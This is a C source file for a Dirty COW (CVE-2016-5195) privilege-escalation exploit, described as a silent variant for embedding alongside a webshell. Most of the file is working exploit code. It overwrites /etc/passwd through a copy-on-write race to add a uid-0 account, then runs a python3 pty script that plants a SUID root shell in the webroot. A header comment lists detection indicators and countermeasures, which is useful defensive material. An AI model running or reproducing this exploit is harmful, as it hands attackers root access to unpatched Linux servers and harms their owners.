/*
 * Dirtycow (CVE-2016-5195) - silent variant for webshell embedding
 * Based on firefart's pokemon method (lsk.c)
 *
 * Usage: ./dcow <password> <rootbash_path>
 *
 * What it does:
 *   1. Writes toor:x:0:0::/root:/bin/bash to /etc/passwd via COW race
 *   2. Uses python3 pty to su non-interactively -> creates SUID rootbash at <rootbash_path>
 *
 * Detection indicators for blue team:
 *   - ELF binary dropped in webroot (unusual file in web directory)
 *   - madvise(MADV_DONTNEED) + ptrace(PTRACE_POKETEXT) race (200M iterations each)
 *   - CPU spike ~30s from two competing threads
 *   - /etc/passwd modified: new toor:0:0 entry appended/replaced
 *   - .passwd.bak hidden file in webroot (same dir as rootbash)
 *   - python3 pty.openpty() spawning su from webserver process
 *   - SUID binary (rootbash) appearing in webroot
 *   - auditd: setuid syscall from www-data context
 *
 * Counter measures:
 *   - Kernel >= 4.8.3 (patched)
 *   - auditd rule: -w /etc/passwd -p wa -k passwd_write
 *   - auditd rule: -a always,exit -F arch=b64 -S ptrace -k ptrace_use
 *   - File integrity monitoring on /etc/passwd (AIDE, Tripwire)
 *   - find /var/www -perm -4000 (detect SUID files in webroot)
 *   - inotifywait -m /var/www -e create -e attrib (detect new files + chmod)
 *   - Restrict python3 execution from www-data (AppArmor/SELinux)
 */

#include <libgen.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *salt     = "toor";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
    char *username;
    char *hash;
    int   user_id;
    int   group_id;
    char *info;
    char *home_dir;
    char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
    return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
    const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
    int size = snprintf(NULL, 0, format,
        u.username, u.hash, u.user_id, u.group_id,
        u.info, u.home_dir, u.shell);
    char *ret = malloc(size + 1);
    sprintf(ret, format,
        u.username, u.hash, u.user_id, u.group_id,
        u.info, u.home_dir, u.shell);
    return ret;
}

void *madviseThread(void *arg) {
    int i, c = 0;
    for (i = 0; i < 200000000; i++)
        c += madvise(map, 100, MADV_DONTNEED);
    return NULL;
}

int copy_file(const char *from, const char *to) {
    if (access(to, F_OK) != -1) return -1;
    char ch;
    FILE *source = fopen(from, "r");
    if (!source) return -1;
    FILE *target = fopen(to, "w");
    if (!target) { fclose(source); return -1; }
    while ((ch = fgetc(source)) != EOF)
        fputc(ch, target);
    fclose(source);
    fclose(target);
    return 0;
}

int main(int argc, char *argv[]) {
    if (argc < 3) {
        fprintf(stderr, "usage: %s <password> <rootbash_path>\n", argv[0]);
        return 1;
    }

    char *plaintext_pw  = argv[1];
    char *rootbash_path = argv[2];

    /* derive backup path: same dir as rootbash, hidden file */
    char rootbash_copy[4096];
    strncpy(rootbash_copy, rootbash_path, sizeof(rootbash_copy) - 1);
    char backup_filename[4096];
    snprintf(backup_filename, sizeof(backup_filename),
             "%s/.passwd.bak", dirname(rootbash_copy));

    /* backup /etc/passwd */
    if (copy_file(filename, backup_filename) != 0) return 1;

    struct Userinfo user;
    user.username = "toor";
    user.user_id  = 0;
    user.group_id = 0;
    user.info     = "pwned";
    user.home_dir = "/root";
    user.shell    = "/bin/bash";
    user.hash     = generate_password_hash(plaintext_pw);

    char *complete_passwd_line = generate_passwd_line(user);

    f = open(filename, O_RDONLY);
    fstat(f, &st);
    map = mmap(NULL, st.st_size + sizeof(long), PROT_READ, MAP_PRIVATE, f, 0);

    pid = fork();
    if (pid) {
        waitpid(pid, NULL, 0);
        int u, i, o, c = 0;
        int l = strlen(complete_passwd_line);
        for (i = 0; i < 10000 / l; i++) {
            for (o = 0; o < l; o++) {
                for (u = 0; u < 10000; u++) {
                    c += ptrace(PTRACE_POKETEXT, pid,
                                map + o,
                                *((long *)(complete_passwd_line + o)));
                }
            }
        }
    } else {
        pthread_create(&pth, NULL, madviseThread, NULL);
        ptrace(PTRACE_TRACEME);
        kill(getpid(), SIGSTOP);
        pthread_join(pth, NULL);
    }

    /* stage 2: use python3 pty to su non-interactively, create SUID rootbash */
    char script[2048];
    snprintf(script, sizeof(script),
        "import subprocess,os,time,pty\n"
        "m,s=pty.openpty()\n"
        "cmd='cp /bin/bash %s && chmod u+s %s'\n"
        "p=subprocess.Popen(['su','-c',cmd,'toor'],stdin=s,stdout=s,stderr=s)\n"
        "os.write(m,b'%s\\n')\n"
        "time.sleep(1)\n"
        "p.wait()\n",
        rootbash_path, rootbash_path, plaintext_pw
    );

    char py_cmd[2200];
    snprintf(py_cmd, sizeof(py_cmd), "python3 -c '%s' 2>/dev/null", script);
    system(py_cmd);

    if (access(rootbash_path, F_OK) == 0) {
        printf("rootbash: %s\n", rootbash_path);
    } else {
        /* fallback: print instructions */
        printf("manual: su toor (pass: %s) -> cp /bin/bash %s && chmod +s %s\n",
               plaintext_pw, rootbash_path, rootbash_path);
    }

    return 0;
}